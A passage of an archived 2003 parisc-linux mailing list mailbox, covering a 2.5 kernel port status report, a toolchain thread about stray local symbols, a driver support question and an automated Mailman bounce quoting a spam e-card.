List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17705

Warning: Linus' tree will probably now build for PA-RISC.  This does
NOT mean that it will work.  You still need to pick up a PA patch from
ftp.parisc-linux.org for it to work.

The good news is that patch is now smaller than ever.  The .gz is down
to 50k; uncompressed it's around 200k.  Almost all of this is the
HIL drivers.

Things which've been done since the last report:
 - Start of module support (Randolph)
 - Merged 2.5.59 (James)
 - More compat chanages (Randolph / Stephen)
 - Convert lasi 82596 driver to DMA api (James)
 - Eliminate ccio_get_fake (James)
 - Raw keyboard support (Helge)
 - Merged 2.5.60 (Matthew / James)

Current status:
 - Merged to 2.5.60, boots on 712
 - 2.5.58 booted on A500, 715/64
 - 2.5.57 booted on C160
 - SuckyIO serial problems still exist.
 - Don't know what other patches need to be brought forward from 2.4
 - SMP compiles, but doesn't work yet
 - No preemptible support

Todo list:
 - review diff vs 2.4 for additional changes
 - Serial code not working for c3000
 - the fix for do_fork needs checking
 - our PDC early debug console hacks need to be cleaned up somehow
 - ad1889 driver: only works with .wav;  Convert to ALSA (ggg, tausq, tbone)
 - ns87415 dma doesn't work reliably on suckyio-systems
 - CPU hotplug support (useful to take flaky CPU "offline")
 - flush_tlb_kernel_range is horribly inefficient
 - flush_icache_user_range could flush just that range rather than the
   entire page.
 - (ab)use kmap/kunmap on 64-bit to eliminate flush_dcache calls.
 - cp_new_stat32 for sys_parisc32.c is inefficient; maybe it's better
   to fill in a tmp stat32 and just do copy_to_user in one go at the end?
 - syscall signal return path needs work
 - changes in arch/parisc/kernel/signal.c regarding HACK needs testing
 - signal.c #if CACHE_FLUSHING_IS_NOT_BROKEN needs to be solved
 - task_struct/thread_info split -- task_struct should not be visible in
   entry.S, we need to move some items into thread_info -- this includes
   pt_regs and maybe some of the flags (ptrace, etc)
 - Use zone_highmem for the 256MB of RAM at 64GB on Astro-based machines.
   (NB, what does Stretch do?)
 - investigate not putting in extable entries for put_kernel_asm; will
   probably reduce kernel size
 - call to pdc_suspend_usb() in inventory.c crashes c3k with kernel 2.5
 - fix HIL problem: ksoftirqd/0 eats 56% cpu (kernel 2.4 & kernel 2.5)
 - write floppy driver for lasi
 - write floppy driver for suckyio
 - XFS goes into an infinite loop when mounting volume.
 - spifi driver (rbrad)
 - write optimized versions of lcopy_{to,from}_user. Can we port the
   hpux versions?
 - kernel module loader support
 - IRQ cpu-affinity support
 - NPTL kernel support (CLONE_*TID flags need to be correctly handled by 
   sys_clone() and friends)
 - port sym53c8xx hppa changes forward (still needed?)

In progress:
 - Some options still need Kconfig help entries (see below!)
 - Look at Config.help too. (tbone, HIL -> helge?)
 - commit beta ALSA harmony driver (laurent)
 - port hil_kbd.c to new input layer
 - port hil_ptr.c to new input layer
 - oprofile support (tausq)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 status update 2003-02-11
Date: Tue, 11 Feb 2003 20:23:26 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20030212012326.GG28989@systemhalted>
References: <20030211230354.T5992@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622214 21786 80.91.229.3 (22 Nov 2014 02:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 18:23:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D01F482D
	for <parisc-linux@parisc-linux.org>; Tue, 11 Feb 2003 18:23:57 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18ilcU-0008Vy-00; Tue, 11 Feb 2003 20:23:26 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030211230354.T5992@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (87% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17706

>  - Don't know what other patches need to be brought forward from 2.4

I wrote a Trap 13 handler that was satifying Krystof's needs for his
LISP emulator... it's like 5 lines that I still haven't had time to add
to 2.5 :) JSM still hasn't had time to comment on it, but it was serving
the needs of the immediate signal handlers.

c.



From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] local symbols appearing in objdump/nm output
Date: Wed, 12 Feb 2003 17:17:35 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20030212171735.W5992@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622214 21790 80.91.229.3 (22 Nov 2014 02:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 12 10:17:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 478EC482A
	for <parisc-linux@parisc-linux.org>; Wed, 12 Feb 2003 10:17:36 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18j0Vr-0003i0-00
	for parisc-linux@parisc-linux.org; Wed, 12 Feb 2003 17:17:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17707

nm and objdump both output local symbols from vmlinux.  this doesn't
happen on x86 (how about other architectures?)  let me give an example:

101a2700 T ext2_get_group_desc
101a27b8 T ext2_free_blocks
101a2824 t .L773
101a28ec t .L873
101a2970 t .L887
101a2b48 t .L844
101a2bd8 t .L888
101a2be0 t grab_block

on x86, that is:

c018b950 T ext2_get_group_desc
c018ba20 t read_block_bitmap
c018bac0 T ext2_free_blocks
c018be10 t grab_block

i have insufficient toolchain-fu to figure out what's going on and
what needs to be fixed, but these local symbols make CONFIG_KALLSYMS
basically useless.  Let me show you:

Kernel addresses on the stack:                                                  
 [<10127b8c>] .L1041+0x64/0xa8                                                  
 [<10105f6c>] show_trace+0x8c/0xc0                                              
 [<10127a30>] .L1018+0x0/0x38                                                   
 [<10105df0>] dump_stack+0x10/0x1c                                              
 [<101588e4>] __find_get_block+0x50/0x84                                        
 [<101589d0>] __getblk+0x20/0x30                                                
 [<10158a08>] .L1623+0xc/0x18                                                   
 [<101a605c>] ext2_get_branch+0x70/0x13c                                        
 [<101a6528>] ext2_get_block+0x88/0x408                                         
 [<1023b8bc>] .L1006+0x10/0x34                                                  
 [<10176a14>] .L1121+0x84/0xb0                                                  
 [<101393f4>] .L1477+0x44/0x74                                                  
 [<10176e38>] .L1155+0x8/0x34                                                   
 [<1013da40>] .L1106+0x34/0x74                                                  
 [<1013fbe8>] read_pages+0x58/0xe4                                              

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CURRY,JOHN W (HP-Cupertino,ex1)" <john_w_curry@am.exch.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Supported Cards
Date: Wed, 12 Feb 2003 10:49:41 -0800
Lines: 9
Approved: news@gmane.org
Message-ID: <A5374D237E78D41195810090279CC91A0E0269A0@xcup04.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622214 21804 80.91.229.3 (22 Nov 2014 02:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:14 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 12 11:49:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0A0D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Feb 2003 11:49:50 -0700 (MST)
Original-Received: from xparelay2.ptp.hp.com (xparelay2.ptp.hp.com [15.1.28.65])
	by palrel12.hp.com (Postfix) with ESMTP id 593861C01BB7
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Feb 2003 10:49:50 -0800 (PST)
Original-Received: from xpabh1.ptp.hp.com (xpabh1.ptp.hp.com [15.1.28.60])
	by xparelay2.ptp.hp.com (Postfix) with ESMTP id 430121C000BD
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Feb 2003 10:49:47 -0800 (PST)
Original-Received: by xpabh1.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <1L75F26D>; Wed, 12 Feb 2003 10:49:47 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17708

Hi,
	is there a place I can look to find out what are all the I/O cards
and devices that are supported by the 32 bit parisc Linux kernel? Will the
same cards be supported by the 64 bit parisc kernel? I assume that the 64
bit kernel will run the drivers in wide mode?

						Thanks,
							J. Curry


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Supported Cards
Date: Wed, 12 Feb 2003 12:30:37 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20030212193037.GA29683@dsl2.external.hp.com>
References: <A5374D237E78D41195810090279CC91A0E0269A0@xcup04.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622215 21806 80.91.229.3 (22 Nov 2014 02:10:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:15 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "CURRY,JOHN W (HP-Cupertino,ex1)" <john_w_curry@am.exch.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 12 12:30:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C13E9482A; Wed, 12 Feb 2003 12:30:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <A5374D237E78D41195810090279CC91A0E0269A0@xcup04.cup.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17709

On Wed, Feb 12, 2003 at 10:49:41AM -0800, CURRY,JOHN W (HP-Cupertino,ex1) wrote:
> Hi,
> 	is there a place I can look to find out what are all the I/O cards
> and devices that are supported by the 32 bit parisc Linux kernel?

No. You are looking for the official HP *supported* version of parisc-linux.
(Which unfortunately doesn't exist)

Some *drivers* that I know work:
o tulip ("DEC" 100bt)
o eepro100 (Intel 100BT)
o sym53c8xx_2 (parallel SCSI LSI 53c8xx, 53c1010)
o acenic (Tigon2 1000SX)
o tg3 (tigon3 1000bt and 1000SX)
o cpqfc (but only with Agilent Tachlite 51xx series)
o stifb/sticon (most older HP gfx cards up to PCI Vis-EG)
o serial (under Dino, LASI, suckyio)

And how well particular drivers works depends alot on which kernel
version one tries. 2.4.19 seems to be pretty good overall.
Basic rule is to just try *something* and report problems on this list.

ESIEE maintains a "this worked for me" webpage.
Links to ESIEE are on www.parisc-linux.org.


> Will the same cards be supported by the 64 bit parisc kernel?

I think so. 64-bit is used mostly on A500 - so strictly PCI
though folks can run it on both older and newer generations of
C-class machines.

> I assume that the 64 bit kernel will run the drivers in wide mode?

yes.

grant


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] local symbols appearing in objdump/nm output
Date: Wed, 12 Feb 2003 17:50:30 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200302122250.h1CMoVCw029031@hiauly1.hia.nrc.ca>
References: <20030212171735.W5992@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622215 21808 80.91.229.3 (22 Nov 2014 02:10:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:15 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 12 15:50:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E01AF482A
	for <parisc-linux@parisc-linux.org>; Wed, 12 Feb 2003 15:50:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1CMoWot029032;
	Wed, 12 Feb 2003 17:50:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1CMoVCw029031;
	Wed, 12 Feb 2003 17:50:31 -0500 (EST)
In-Reply-To: <20030212171735.W5992@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 12, 2003 05:17:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17710

> nm and objdump both output local symbols from vmlinux.  this doesn't
> happen on x86 (how about other architectures?)  let me give an example:
> 
> 101a2700 T ext2_get_group_desc
> 101a27b8 T ext2_free_blocks
> 101a2824 t .L773
> 101a28ec t .L873
> 101a2970 t .L887
> 101a2b48 t .L844
> 101a2bd8 t .L888
> 101a2be0 t grab_block

This would appear to be a problem with the specific toolset (gas)
that you are using.  For example, there are no .L[0-9] labels in
the .o files of my gcc builds, but I see them in traps.o, for
example.  In this case, traps.o was built with the 64-bit toolset
(probably, debian).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] local symbols appearing in objdump/nm output
Date: Wed, 12 Feb 2003 13:52:38 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20030212215238.GX11363@tausq.org>
References: <20030212171735.W5992@parcelfarce.linux.theplanet.co.uk> <200302122250.h1CMoVCw029031@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622215 21811 80.91.229.3 (22 Nov 2014 02:10:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:15 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 12 16:14:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC302482A
	for <parisc-linux@parisc-linux.org>; Wed, 12 Feb 2003 16:14:00 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E7D38CD294; Wed, 12 Feb 2003 13:52:38 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200302122250.h1CMoVCw029031@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17711

> This would appear to be a problem with the specific toolset (gas)
> that you are using.  For example, there are no .L[0-9] labels in
> the .o files of my gcc builds, but I see them in traps.o, for
> example.  In this case, traps.o was built with the 64-bit toolset
> (probably, debian).

yup, i don't see this when building kernels with the latest toolchain.
willy is building with older cross-toolchain, so it's probably just a
matter of producing some more up to date tools and putting up on
parisc-linux.org ...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nec-request@shirky.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mailman results for NEC
Date: Thu, 13 Feb 2003 05:00:02 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <20030213100002.23651.10725.Mailman@ernie.webservepro.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622216 21814 80.91.229.3 (22 Nov 2014 02:10:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 13 03:00:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ernie.webservepro.com (ernie.webservepro.com [198.94.137.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id A107F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Feb 2003 03:00:21 -0700 (MST)
Original-Received: from ernie.webservepro.com (mailman@localhost [127.0.0.1])
	by ernie.webservepro.com (8.12.0.Beta19/8.12.0.Beta19) with ESMTP id h1DA02Hn023653
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Feb 2003 05:00:02 -0500
X-Ack: no
X-BeenThere: nec@shirky.com
X-Mailman-Version: 2.0.13
Precedence: bulk
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17712

This is an automated response.

There were problems with the email commands you sent to Mailman via
the administrative address <nec-request@shirky.com>.

To obtain instructions on valid Mailman email commands, send email to
<nec-request@shirky.com> with the word "help" in the subject line or
in the body of the message.

If you want to reach the human being that manages this mailing list,
please send your message to <nec-admin@shirky.com>.

The following is a detailed description of the problems.

>>>>> Subject line ignored:
>>>>>   parisc-linux sent you a card from NiceCards!
Command? Dear nec-request,
Command? Guess what?  parisc-linux (parisc-linux@lists.parisc-linux...
Command? Your card can be picked up by clicking on the following link:
Command? http://nicecards.com/card/3989559-MGBXK
>>>>> 
>>>>> Too many errors encountered; the rest of the message is ignored:
> 
> or
> 
> By going to our card pick-up page at:
> 
> http://nicecards.com/
> 
> and entering in the following card ID: 3989559-MGBXK
> 
> Thank you!
> 
> team@nicecards.com
> NiceCards
> 
> Note: Your card will be kept in our card center for two weeks.  After two
> weeks, your card will be deleted.
> 
> ====================================================================
> Try out these other great sites in the NiceCards network!
> 
>     http://friendfinder.com - Dating and friendship personals
>     http://asiafriendfinder.com - Chinese personals
>     http://frenchfriendfinder.com - French personals
>     http://koreanfriendfinder.com - Korean personals
>     http://germanfriendfinder.com - German personals
>     http://amigos.com - Spanish personals
>     http://seniorfriendfinder.com - Senior personals
>     http://churchfriendfinder.com - Christian/spiritual personals
>     http://adultfriendfinder.com - Adults only personals
>     http://outpersonals.com - Gay personals
>     http://sharerent.com - Roommate/housing directory
>     http://friendpages.com - Free homepages
>     http://friendparty.com - Free party invites and photo sharing
>     http://dine.com - Free restaurant reviews and menus
> 


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Guy <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree 4.2.1 not running
Date: Thu, 13 Feb 2003 19:48:30 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <E18jOPY-0002hW-00@server.da-kot>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_U8G9GYF5TW3RAW06HH3P"
X-Trace: ger.gmane.org 1416622216 21819 80.91.229.3 (22 Nov 2014 02:10:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 13 11:48:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from server.da-kot (21-40.CampusNet.ucl.ac.be [130.104.21.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 293E4482A
	for <parisc-linux@parisc-linux.org>; Thu, 13 Feb 2003 11:48:45 -0700 (MST)
Original-Received: from guy.da-kot ([192.168.0.7] helo=there)
	by server.da-kot with smtp (Exim 3.36 #1 (Debian))
	id 18jOPY-0002hW-00
	for <parisc-linux@parisc-linux.org>; Thu, 13 Feb 2003 19:48:40 +0100
X-Mailer: KMail [version 1.3.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
